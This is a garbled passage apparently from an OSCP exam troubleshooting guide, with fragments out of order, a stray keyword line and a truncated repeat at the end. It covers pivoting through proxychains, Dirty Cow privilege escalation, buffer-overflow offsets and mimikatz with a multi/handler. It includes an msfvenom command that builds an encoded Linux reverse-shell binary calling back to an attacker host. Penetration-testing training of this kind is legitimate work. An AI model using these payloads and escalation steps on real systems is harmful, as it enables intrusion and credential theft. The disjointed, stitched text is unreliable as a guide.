msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.x.x.x LPORT=443 -f elf -e x86/shikata_ga_nai -i 5 -o shell If you truly need kiwi or mimikatz , use the multi/handler but don't use the exploit module. Generate the payload manually, then start the handler separately. This is allowed and a legit OSCP fix. Part 3: Privilege Escalation – The "Broken Exploit" Fix You found the vulnerability. You compiled the exploit. It says Success but you are still www-data . Why? The OSCP environment is older, but the patches are weird. The Linux Privilege Escalation Fixes Problem: Dirty Cow (CVE-2016-5195) compiles but doesn't give root. Fix: Try a different PoC. The default dirty.c often fails on OSCP machines. Use dirtycow.c from FireFart or the dcow variant.
mona says Stack pivot but the exploit crashes the app. OSCP Fix: Your offset is wrong. You used pattern_create.rb but the EIP contains 0x41414141 (All A's). This means your overflow is hitting the wrong part of the stack. offensive security oscp fix
# Add this at the bottom (remove the default) socks4 127.0.0.1 1080 # Comment out "strict_chain" and uncomment "dynamic_chain" dynamic_chain When using nmap via proxychains, use -Pn -sT (no ping, full TCP connect). Syn scans won't work. Part 5: The Buffer Overflow Fix (For the Old Exam Style) Note: As of 2023+, the OSCP has reduced buffer overflow weight, but the concept remains. If you take the old exam or lab machines, use this. msfvenom -p linux/x86/shell_reverse_tcp LHOST=10